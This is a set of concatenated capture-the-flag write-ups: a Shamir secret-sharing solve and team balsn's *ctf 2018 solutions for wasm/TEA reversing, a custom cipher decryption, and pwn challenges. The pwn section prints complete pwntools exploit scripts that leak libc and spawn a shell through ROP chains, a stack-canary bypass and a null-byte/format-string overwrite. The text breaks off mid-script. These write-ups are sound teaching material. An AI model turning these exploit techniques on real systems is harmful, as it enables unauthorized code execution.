}\r\n}\r\n", "sourcePath": "C:\\Users\\glgai\\ChainSkills\\CTF\\guess\\contracts\\guess6.sol",``` ↓ `WPI{All_Hail_The_Mighty_Vitalik}`
### SSS Part 1 - 75 points (91 solves) > 3 math teachers agreed to a common secret password to access the exam answers. Luckily, one of them lost a note that seems related. They also talk all the time about some guy named Lagrange.> > NOTE: the coordinates are:> 4612c90f5d8cd5d616193257336d92af1f66df92443b4ee69f5c885f0173ad80113844e393d194e3> 8c25921e46b03e48b7cbe94c3267f41adf618abd16422f660b59df6fae81e8aff2242852be33db49> d2385b2d2fd3a6bb597ea041316255869f5c35e7e8490fe5775736805b9023dfd3100bc1e89621af From the problem description and the problem title SSS, we know that we are dealing with [Shamir Secret Sharing](https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing) algorithm that allows one to share a secret by splitting it into multiple shares. Each share is given to a unique person and the secret, can only be constructed if every person gives his/her share. Since we have the three shares (three coordinates of the polynomial used to split the secret) we can easily reconstruct the secret. To do this, I used a [library](https://github.com/blockstack/secret-sharing) to do that for me: ```python>>> from secretsharing import SecretSharer>>> SecretSharer.recover_secret(['1-4612c90f5d8cd5d616193257336d92af1f66df92443b4ee69f5c885f0173ad80113844e393d194e3', '2-8c25921e46b03e48b7cbe94c3267f41adf618abd16422f660b59df6fae81e8aff2242852be33db49', '3-d2385b2d2fd3a6bb597ea041316255869f5c35e7e8490fe5775736805b9023dfd3100bc1e89621af'])'74696d6374667b62347331435f6c346772346e67335f314e54657250304c6174696f4e7d'>>> '74696d6374667b62347331435f6c346772346e67335f314e54657250304c6174696f4e7d'.decode("hex")'timctf{b4s1C_l4gr4ng3_1NTerP0LatioN}'``` And so the flag is: ```timctf{b4s1C_l4gr4ng3_1NTerP0LatioN}```
# *ctf 2018 **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180421-*ctf/) of this writeup.** - [*ctf 2018](#ctf-2018) - [rev](#rev) - [wasm (sces60107)](#wasm-sces60107) - [milktea (sasdf)](#milktea-sasdf) - [pwn](#pwn) - [babystack (sces60107)](#babystack-sces60107) - [note (sces60107)](#note-sces60107) - [young_heap (4w4rd sces60107)](#young_heap-4w4rd-sces60107) - [web](#web) - [simpleweb (how2hack)](#simpleweb-how2hack) - [misc](#misc) - [welcome (bookgin)](#welcome-bookgin) - [warmup (sces60107)](#warmup-sces60107) - [ppc](#ppc) - [magic_number (b04902036)](#magic_number-b04902036) - [Chess Master (bookgin)](#chess-master-bookgin) - [crypto](#crypto) - [primitive (sasdf)](#primitive-sasdf) - [ssss (sasdf)](#ssss-sasdf) - [ssss2 (sasdf)](#ssss2-sasdf) The official repository is [here](https://github.com/sixstars/starctf2018) ## rev ### wasm (sces60107) I leverage [wasm2c](https://github.com/WebAssembly/wabt) to decomplie this wasm Then I found some interesting function and data ```c=static const u8 data_segment_data_0[] = { 0x99, 0x00, 0x00, 0x00, 0x77, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xbd, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x87, 0x00, 0x00, 0x00, 0x35, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x79, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0x00, 0xf6, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0xb9, 0x00, 0x00, 0x00, 0xd6, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x93, 0x00, 0x00, 0x00, 0xcb, 0x00, 0x00, 0x00, 0xd8, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0xe3, 0x00, 0x00, 0x00, 0x77, 0x65, 0x62, 0x61, 0x73, 0x6d, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x73, 0x74, 0x69, 0x6e, 0x67, }; static void init_memory(void) { memcpy(&((*Z_envZ_memory).data[(*Z_envZ_memoryBaseZ_i)]), data_segment_data_0, 112);}static void init_table(void) { uint32_t offset; offset = (*Z_envZ_tableBaseZ_i); (*Z_envZ_table).data[offset + 0] = (wasm_rt_elem_t){func_types[6], (wasm_rt_anyfunc_t)(&f15)}; (*Z_envZ_table).data[offset + 1] = (wasm_rt_elem_t){func_types[4], (wasm_rt_anyfunc_t)(&_EncryptCBC)}; (*Z_envZ_table).data[offset + 2] = (wasm_rt_elem_t){func_types[1], (wasm_rt_anyfunc_t)(&_check)}; (*Z_envZ_table).data[offset + 3] = (wasm_rt_elem_t){func_types[6], (wasm_rt_anyfunc_t)(&f15)};}static void _EncryptCBC(u32 p0, u32 p1, u32 p2, u32 p3) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0, l24 = 0, l25 = 0, l26 = 0, l27 = 0, l28 = 0, l29 = 0, l30 = 0, l31 = 0, l32 = 0, l33 = 0, l34 = 0, l35 = 0, l36 = 0, l37 = 0, l38 = 0, l39 = 0, l40 = 0, l41 = 0; FUNC_PROLOGUE; u32 i0, i1; i0 = g10; l41 = i0; i0 = g10; i1 = 48u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 48u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = l41; i1 = 16u; i0 += i1; l38 = i0; i0 = l41; l39 = i0; i0 = p0; l30 = i0; l30=p0 i0 = p1; l35 = i0; l35=p1 i0 = p2; l36 = i0; l36=p2 i0 = p3; l37 = i0; l37=p3 i0 = l37; l0 = i0; i0 = l0; i0 = f9(i0); round key l1 = i0; i0 = l39; i1 = l1; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l37; l2 = i0; i0 = l2; i1 = 4u; i0 += i1; l3 = i0; i0 = l3; i0 = f9(i0); l4 = i0; i0 = l39; i1 = 4u; i0 += i1; l5 = i0; i0 = l5; i1 = l4; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l37; l6 = i0; i0 = l6; i1 = 8u; i0 += i1; l7 = i0; i0 = l7; i0 = f9(i0); l8 = i0; i0 = l39; i1 = 8u; i0 += i1; l9 = i0; i0 = l9; i1 = l8; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l37; l10 = i0; i0 = l10; i1 = 12u; i0 += i1; l11 = i0; i0 = l11; i0 = f9(i0); l12 = i0; i0 = l39; i1 = 12u; i0 += i1; l13 = i0; i0 = l13; i1 = l12; i32_store(Z_envZ_memory, (u64)(i0), i1); L1: i0 = l36; l14 = i0; i0 = l14; i1 = 8u; i0 = (u32)((s32)i0 >= (s32)i1); l15 = i0; i0 = l15; i0 = !(i0); if (i0) { goto B2; } i0 = l35; l16 = i0; i0 = l16; i0 = f9(i0); l17 = i0; i0 = l38; i1 = l17; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l35; l18 = i0; i0 = l18; i1 = 4u; i0 += i1; l19 = i0; i0 = l19; i0 = f9(i0); l20 = i0; i0 = l38; i1 = 4u; i0 += i1; l21 = i0; i0 = l21; i1 = l20; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l38; i1 = l39; f10(i0, i1); i0 = l30; l22 = i0; i0 = l38; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l23 = i0; i0 = l22; i1 = l23; f11(i0, i1); i0 = l30; l24 = i0; i0 = l24; i1 = 4u; i0 += i1; l25 = i0; i0 = l38; i1 = 4u; i0 += i1; l26 = i0; i0 = l26; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l27 = i0; i0 = l25; i1 = l27; f11(i0, i1); i0 = l35; l28 = i0; i0 = l28; i1 = 8u; i0 += i1; l29 = i0; i0 = l29; l35 = i0; i0 = l30; l31 = i0; i0 = l31; i1 = 8u; i0 += i1; l32 = i0; i0 = l32; l30 = i0; i0 = l36; l33 = i0; i0 = l33; i1 = 8u; i0 -= i1; l34 = i0; i0 = l34; l36 = i0; goto L1; B2:; i0 = l41; g10 = i0; goto Bfunc; Bfunc:; FUNC_EPILOGUE;} static u32 f9(u32 p0) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0; FUNC_PROLOGUE; u32 i0, i1; i0 = g10; l23 = i0; i0 = g10; i1 = 16u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 16u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = p0; l0 = i0; i0 = l0; l11 = i0; i0 = l11; l11=p0 i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l15 = i0; i0 = l15; i1 = 255u; i0 &= i1; l16 = i0; i0 = l0; l17 = i0; i0 = l17; i1 = 1u; i0 += i1; l18 = i0; i0 = l18; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l19 = i0; i0 = l19; i1 = 255u; i0 &= i1; l20 = i0; i0 = l20; i1 = 8u; i0 <<= (i1 & 31); l21 = i0; i0 = l16; i1 = l21; i0 |= i1; l1 = i0; i0 = l0; l2 = i0; i0 = l2; i1 = 2u; i0 += i1; l3 = i0; i0 = l3; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l4 = i0; i0 = l4; i1 = 255u; i0 &= i1; l5 = i0; i0 = l5; i1 = 16u; i0 <<= (i1 & 31); l6 = i0; i0 = l1; i1 = l6; i0 |= i1; l7 = i0; i0 = l0; l8 = i0; i0 = l8; i1 = 3u; i0 += i1; l9 = i0; i0 = l9; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l10 = i0; i0 = l10; i1 = 255u; i0 &= i1; l12 = i0; i0 = l12; i1 = 24u; i0 <<= (i1 & 31); l13 = i0; i0 = l7; i1 = l13; i0 |= i1; l14 = i0; i0 = l23; g10 = i0; i0 = l14; goto Bfunc; Bfunc:; FUNC_EPILOGUE; return i0;} static void f10(u32 p0, u32 p1) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0, l24 = 0, l25 = 0, l26 = 0, l27 = 0, l28 = 0, l29 = 0, l30 = 0, l31 = 0, l32 = 0, l33 = 0, l34 = 0, l35 = 0, l36 = 0, l37 = 0, l38 = 0, l39 = 0, l40 = 0, l41 = 0, l42 = 0, l43 = 0, l44 = 0, l45 = 0, l46 = 0, l47 = 0, l48 = 0, l49 = 0, l50 = 0, l51 = 0, l52 = 0, l53 = 0, l54 = 0, l55 = 0, l56 = 0, l57 = 0, l58 = 0, l59 = 0, l60 = 0, l61 = 0, l62 = 0; FUNC_PROLOGUE; u32 i0, i1; i0 = g10; l62 = i0; i0 = g10; i1 = 32u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 32u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = p0; l10 = i0; i0 = p1; l21 = i0; i0 = 2654435769u; l32 = i0; i0 = 0u; l43 = i0; i0 = 0u; l54 = i0; L1: i0 = l54; l58 = i0; i0 = l58; i1 = 32u; i0 = i0 < i1; l59 = i0; i0 = l59; i0 = !(i0); if (i0) { goto B2; } i0 = l32; l60 = i0; i0 = l43; l0 = i0; i0 = l0; i1 = l60; i0 += i1; l1 = i0; i0 = l1; l43 = i0; i0 = l10; l2 = i0; i0 = l2; i1 = 4u; i0 += i1; l3 = i0; i0 = l3; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l4 = i0; i0 = l4; i1 = 3u; i0 <<= (i1 & 31); l5 = i0; i0 = l21; l6 = i0; i0 = l6; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l7 = i0; i0 = l5; i1 = l7; i0 ^= i1; l8 = i0; i0 = l10; l9 = i0; i0 = l9; i1 = 4u; i0 += i1; l11 = i0; i0 = l11; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l12 = i0; i0 = l43; l13 = i0; i0 = l12; i1 = l13; i0 += i1; l14 = i0; i0 = l8; i1 = l14; i0 ^= i1; l15 = i0; i0 = l10; l16 = i0; i0 = l16; i1 = 4u; i0 += i1; l17 = i0; i0 = l17; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l18 = i0; i0 = l18; i1 = 5u; i0 >>= (i1 & 31); l19 = i0; i0 = l21; l20 = i0; i0 = l20; i1 = 4u; i0 += i1; l22 = i0; i0 = l22; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l23 = i0; i0 = l19; i1 = l23; i0 += i1; l24 = i0; i0 = l15; i1 = l24; i0 ^= i1; l25 = i0; i0 = l10; l26 = i0; i0 = l26; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l27 = i0; i0 = l27; i1 = l25; i0 += i1; l28 = i0; i0 = l26; i1 = l28; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l10; l29 = i0; i0 = l29; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l30 = i0; i0 = l30; i1 = 3u; i0 <<= (i1 & 31); l31 = i0; i0 = l21; l33 = i0; i0 = l33; i1 = 8u; i0 += i1; l34 = i0; i0 = l34; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l35 = i0; i0 = l31; i1 = l35; i0 ^= i1; l36 = i0; i0 = l10; l37 = i0; i0 = l37; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l38 = i0; i0 = l43; l39 = i0; i0 = l38; i1 = l39; i0 += i1; l40 = i0; i0 = l36; i1 = l40; i0 ^= i1; l41 = i0; i0 = l10; l42 = i0; i0 = l42; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l44 = i0; i0 = l44; i1 = 5u; i0 >>= (i1 & 31); l45 = i0; i0 = l21; l46 = i0; i0 = l46; i1 = 12u; i0 += i1; l47 = i0; i0 = l47; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l48 = i0; i0 = l45; i1 = l48; i0 += i1; l49 = i0; i0 = l41; i1 = l49; i0 ^= i1; l50 = i0; i0 = l10; l51 = i0; i0 = l51; i1 = 4u; i0 += i1; l52 = i0; i0 = l52; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l53 = i0; i0 = l53; i1 = l50; i0 += i1; l55 = i0; i0 = l52; i1 = l55; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l54; l56 = i0; i0 = l56; i1 = 1u; i0 += i1; l57 = i0; i0 = l57; l54 = i0; goto L1; B2:; i0 = l62; g10 = i0; goto Bfunc; Bfunc:; FUNC_EPILOGUE;} static void f11(u32 p0, u32 p1) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0; FUNC_PROLOGUE; u32 i0, i1; i0 = g10; l21 = i0; i0 = g10; i1 = 16u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 16u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = p0; l10 = i0; i0 = p1; l13 = i0; i0 = l13; l14 = i0; i0 = l14; i1 = 255u; i0 &= i1; l15 = i0; i0 = l10; l16 = i0; i0 = l16; i1 = l15; i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l13; l17 = i0; i0 = l17; i1 = 8u; i0 >>= (i1 & 31); l18 = i0; i0 = l18; i1 = 255u; i0 &= i1; l19 = i0; i0 = l10; l0 = i0; i0 = l0; i1 = 1u; i0 += i1; l1 = i0; i0 = l1; i1 = l19; i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l13; l2 = i0; i0 = l2; i1 = 16u; i0 >>= (i1 & 31); l3 = i0; i0 = l3; i1 = 255u; i0 &= i1; l4 = i0; i0 = l10; l5 = i0; i0 = l5; i1 = 2u; i0 += i1; l6 = i0; i0 = l6; i1 = l4; i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l13; l7 = i0; i0 = l7; i1 = 24u; i0 >>= (i1 & 31); l8 = i0; i0 = l8; i1 = 255u; i0 &= i1; l9 = i0; i0 = l10; l11 = i0; i0 = l11; i1 = 3u; i0 += i1; l12 = i0; i0 = l12; i1 = l9; i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l21; g10 = i0; goto Bfunc; Bfunc:; FUNC_EPILOGUE;} static u32 _check(u32 p0) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0, l24 = 0, l25 = 0, l26 = 0, l27 = 0, l28 = 0, l29 = 0, l30 = 0, l31 = 0, l32 = 0, l33 = 0, l34 = 0, l35 = 0, l36 = 0, l37 = 0, l38 = 0; FUNC_PROLOGUE; u32 i0, i1, i2, i3; i0 = g10; l36 = i0; i0 = g10; i1 = 160u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 160u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = l36; i1 = 144u; i0 += i1; l22 = i0; i0 = l36; i1 = 120u; i0 += i1; l28 = i0; i0 = l36; i1 = 8u; i0 += i1; l30 = i0; i0 = p0; l11 = i0; i0 = l11; l32 = i0; i0 = l32; i0 = (*Z_envZ__strlenZ_ii)(i0); l33 = i0; i0 = l33; i1 = 24u; i0 = i0 != i1; l1 = i0; i0 = l1; if (i0) { i0 = 0u; l0 = i0; i0 = l0; l27 = i0; i0 = l36; g10 = i0; i0 = l27; goto Bfunc; } i0 = l22; l34 = i0; i0 = (*Z_envZ_memoryBaseZ_i); i1 = 96u; i0 += i1; l37 = i0; i0 = l34; 144 i1 = 16u; i0 += i1; l38 = i0; L2: i0 = l34; i1 = l37; i1 = i32_load8_s(Z_envZ_memory, (u64)(i1)); i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l34; i1 = 1u; i0 += i1; l34 = i0; i0 = l37; i1 = 1u; i0 += i1; l37 = i0; i0 = l34; i1 = l38; i0 = (u32)((s32)i0 < (s32)i1); if (i0) {goto L2;} i0 = l11; l2 = i0; i0 = l28; 120 i1 = l2; plaintext i2 = 4u; 4 i3 = l22; 144 key? _EncryptCBC(i0, i1, i2, i3); i0 = 0u; l29 = i0; i0 = l30; l34 = i0; i0 = (*Z_envZ_memoryBaseZ_i); i1 = 0u; i0 += i1; l37 = i0; i0 = l34; i1 = 96u; i0 += i1; l38 = i0; L3: i0 = l34; i1 = l37; i1 = i32_load(Z_envZ_memory, (u64)(i1)); i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l34; i1 = 4u; i0 += i1; l34 = i0; i0 = l37; i1 = 4u; i0 += i1; l37 = i0; i0 = l34; i1 = l38; i0 = (u32)((s32)i0 < (s32)i1); if (i0) {goto L3;} i0 = 0u; l29 = i0; L4: i0 = l29; l3 = i0; i0 = l3; i1 = 3u; i0 = (u32)((s32)i0 < (s32)i1); l4 = i0; i0 = l4; i0 = !(i0); if (i0) { i0 = 11u; l35 = i0; goto B5; } i0 = 0u; l31 = i0; L7: i0 = l31; l5 = i0; i0 = l5; i1 = 8u; i0 = (u32)((s32)i0 < (s32)i1); l6 = i0; i0 = l29; l7 = i0; i0 = l6; i0 = !(i0); if (i0) { goto B8; } i0 = l7; i1 = 3u; i0 <<= (i1 & 31); l8 = i0; i0 = l31; l9 = i0; i0 = l8; i1 = l9; i0 += i1; l10 = i0; i0 = l28; i1 = l10; i0 += i1; l12 = i0; i0 = l12; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l13 = i0; i0 = l13; i1 = 255u; i0 &= i1; l14 = i0; i0 = l29; l15 = i0; i0 = l15; i1 = 3u; i0 <<= (i1 & 31); l16 = i0; i0 = l16; i1 = 7u; i0 += i1; l17 = i0; i0 = l31; l18 = i0; i0 = l17; i1 = l18; i0 -= i1; l19 = i0; i0 = l30; cipher i1 = l19; i2 = 2u; i1 <<= (i2 & 31); i0 += i1; l20 = i0; i0 = l20; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l21 = i0; i0 = l14; i1 = l21; cipher[pos] i0 = i0 != i1; l23 = i0; i0 = l23; if (i0) { i0 = 8u; l35 = i0; goto B5; } i0 = l31; l24 = i0; i0 = l24; i1 = 1u; i0 += i1; l25 = i0; i0 = l25; l31 = i0; goto L7; B8:; i0 = l7; i1 = 1u; i0 += i1; l26 = i0; i0 = l26; l29 = i0; goto L4; B5:; i0 = l35; i1 = 8u; i0 = i0 == i1; if (i0) { i0 = 0u; l0 = i0; i0 = l0; l27 = i0; i0 = l36; g10 = i0; i0 = l27; goto Bfunc; } else { i0 = l35; i1 = 11u; i0 = i0 == i1; if (i0) { i0 = 1u; l0 = i0; i0 = l0; l27 = i0; i0 = l36; g10 = i0; i0 = l27; goto Bfunc; } } i0 = 0u; goto Bfunc; Bfunc:; FUNC_EPILOGUE; return i0;}```The first thing come out in my mind is that It's [TEA](https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm). But there some difference. The encryption function in this challenge is```c=void encrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i < 32; i++) { /* basic cycle start */ sum += delta; v0 += ((v1<<3) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); v1 += ((v0<<3) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); } /* end cycle */ v[0]=v0; v[1]=v1;}```Now it's easy to write a decryption script```python=from pwn import *A=[0x99, 0x00, 0x00, 0x00, 0x77, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xbd, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x87, 0x00, 0x00, 0x00, 0x35, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x79, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0x00, 0xf6, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0xb9, 0x00, 0x00, 0x00, 0xd6, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x93, 0x00, 0x00, 0x00, 0xcb, 0x00, 0x00, 0x00, 0xd8, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0xe3, 0x00, 0x00, 0x00]def decrypt(v,k): v0=v[0] v1=v[1] asum=0xC6EF3720 delta=0x9e3779b9 k0=k[0] k1=k[1] k2=k[2] k3=k[3] for i in range(32) : v1 -= ((v0<<3) ^ k2) ^ (v0 + asum) ^ ((v0>>5) + k3) v1 %=(2**32) v0 -= ((v1<<3) ^ k0) ^ (v1 + asum) ^ ((v1>>5) + k1) v0 %=(2**32) asum -= delta asum %= (2**32) return v0,v1 cipher=[A[i] for i in range(0,len(A),4)]cipher="".join(map(chr,cipher)) key="webasmintersting"k=[u32(key[i:i+4]) for i in range(0,len(key),4)] flag=""for i in range(3): vv=cipher[i*8:(i+1)*8][::-1] v=[u32(vv[i:i+4]) for i in range(0,len(vv),4)] a,b=decrypt(v,k) flag+=p32(a)+p32(b)print flag# *ctf{web4ss3mbly_1s_god}``` ### milktea (sasdf) ```python=import struct with open('milktea', 'rb') as f: data = f.read() keys = data[0x10C0:0x11A8] ct = data[0x1080:0x10B8]keys = struct.unpack('<' + 'I' * (len(keys) // 4), keys)keys = [keys[i:i+2] for i in range(0, len(keys), 2)]ct = struct.unpack('<' + 'I' * (len(ct) // 4), ct) # Fake memcmpxx = [ 0x0BF7AC52, 0x801135AA, 0x5341B12E, 0x8C284278, 0x879413EE, 0xF0D4BB6A, 0x3336515C, 0x1498DC7D, 0x0BE8AD86, 0x310FE5B8, 0x3DEEAFD4, 0x5603371B, 0x00000000, 0x00000000,]ct = [c ^ x for c, x in zip(ct, xx)]ct = [ct[i:i+2] for i in range(0, len(ct), 2)] sbox = [ 0x206D2749, 0x69622061, 0x61662067, 0x666F206E, 0x70657320, 0x6D657974, 0x37633634, 0x66336265, 0x63383538, 0x66373331, 0x66646239, 0x65356166, 0x38386630, 0x39386530, 0x62623935, 0x35366532, ] mask = 0xffffffff # Encyption sanity checklow, = struct.unpack('<I', 'aaaa')high = low for key in keys: high = ( ( (key[0] + sbox[low & 0xF]) ^ (low + ((low >> 5) ^ (low << 4))) ) + high ) & mask low = ( ( (key[1] + sbox[high & 0xF]) ^ (high + ((high >> 5) ^ (high << 4))) ) + low ) & maskres = low << 32 | high assert(res == 0xd5c62ef45e60fe03) # Decrypt flagplain = ''for c in ct: high, low = c for key in reversed(keys): low = ( low - ( (key[1] + sbox[high & 0xF]) ^ (high + ((high >> 5) ^ (high << 4))) ) ) & mask high = ( high - ( (key[0] + sbox[low & 0xF]) ^ (low + ((low >> 5) ^ (low << 4))) ) ) & mask res = high << 32 | low plain += struct.pack('<Q', res)print(repr(plain))``` ## pwn ### babystack (sces60107) In this challenge, you can overflow the stack canary.So you won't trigger `__stack_chk_fail` ```python=from pwn import *import hashlibimport itertoolsimport stringimport osimport timer=remote("47.91.226.78", 10005)#env = {'LD_PRELOAD': os.path.join(os.getcwd(),'./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253')}#r=process("./bs",env=env)#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']#gdb.attach(proc.pidof(r)[0],'b *'+hex(0x400a9b)+'\nc\n') def proofwork(): r.recvuntil('sha256(xxxx+') a=r.recvline() print a proof=a.split(" ")[-1] x=a.split(")")[0] proof=proof.strip() print r.recvuntil("xxxx:\n") for i in itertools.product(string.ascii_letters+string.digits,repeat=4): test="".join(i)+x k=hashlib.sha256() k.update(test) if k.hexdigest()==proof: print "find" r.sendline("".join(i)) breakproofwork() main=0x4009e7poprdi=0x400c03poprsi=0x400c01read=0x4007e0atoigot=0x601ff0putsgot=0x601fb0putplt=0x4007c0buf=0x602f00leave=0x400955p1=p64(poprdi)+p64(putsgot)+p64(putplt)p2=p64(poprdi)+p64(0)+p64(poprsi)+p64(buf+0x8)+p64(0)+p64(read)+p64(leave)payload=p1+p2 # You can overflow the stack canary, the stack canary offset is 0x6128print r.recvuntil("How many bytes do you want to send?")r.sendline(str(6128))r.send("a"*4112+p64(buf)+payload+"a"*(6128-4120-len(payload))) # The first part of payload leak the libc baser.recvuntil("It's time to say goodbye.\n")libbase=u64(r.recvline()[:6]+"\x00\x00")-0x6f690print hex(libbase)system=libbase+0x45390binsh=libbase+0x18cd57 # Using stack migration, you input payload againr.sendline(p64(poprdi)+p64(binsh)+p64(system)) r.interactive()# *ctf{h4ve_fun_w1th_0ld_tr1ck5_in_2018}``` ### note (sces60107) You can find out the null-byte overflow in Edit note. Then you also notice that the format string address is on the stack. You can overwrite it. Cause the wrong rbp value, you can overwrite return value when calling scanf. ```python=from pwn import *import hashlibimport itertoolsimport stringimport osimport timer=remote("47.89.18.224", 10007)#env = {'LD_PRELOAD': os.path.join(os.getcwd(),'./libc.so.6')}#r=process("./note",env=env)#context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] def proofwork(): r.recvuntil('sha256(xxxx+') a=r.recvline() print a proof=a.split(" ")[-1] x=a.split(")")[0] proof=proof.strip() print r.recvuntil("xxxx:\n") for i in itertools.product(string.ascii_letters+string.digits,repeat=4): test="".join(i)+x k=hashlib.sha256() k.update(test) if k.hexdigest()==proof: print "find" r.sendline("".join(i)) break proofwork()s=0x401129fd=0x602140printgot=0x601F90poprdi=0x401003 # Not importantr.recvuntil("Input your ID:")r.send(cyclic(256)) # You can trigger null-byte overflow# They put "%d" address on the stack, but rbp is different cause null-byte overflow. Now you can assign other format string. I choose %256sr.recvuntil("> ")r.sendline("1")r.recvuntil("Note:")r.sendline("a"*168+p64(s)+"a"*(256-176))r.recvuntil("> ") # Now the note address can be changed, I have arbitrary read. Just leak libc base address.r.sendline(p32(2)+p64(s)+p64(printgot))r.recvuntil("Note:")heapbase=r.recvline()print heapbase.encode("hex")libbase=u64(heapbase[:6]+"\x00\x00")-0x6f690print hex(libbase)system=libbase+0x45390binsh=libbase+0x18cd57 # You overwrite the return address when you call scanfr.recvuntil("> ")r.sendline("a"*100+p64(poprdi)+p64(binsh)+p64(system))r.interactive()# *ctf{n0te_helps_y0u_use_scanf}``` ### young_heap (4w4rd sces60107) ```python=from pwn import * # r = process('./young_heap')r = remote('47.89.11.82', 10009) r.recvuntil('xxxx+')suffix = r.recv(16)# suffix = 'OWSh3smUNo6dzei7'r.recvuntil(' == 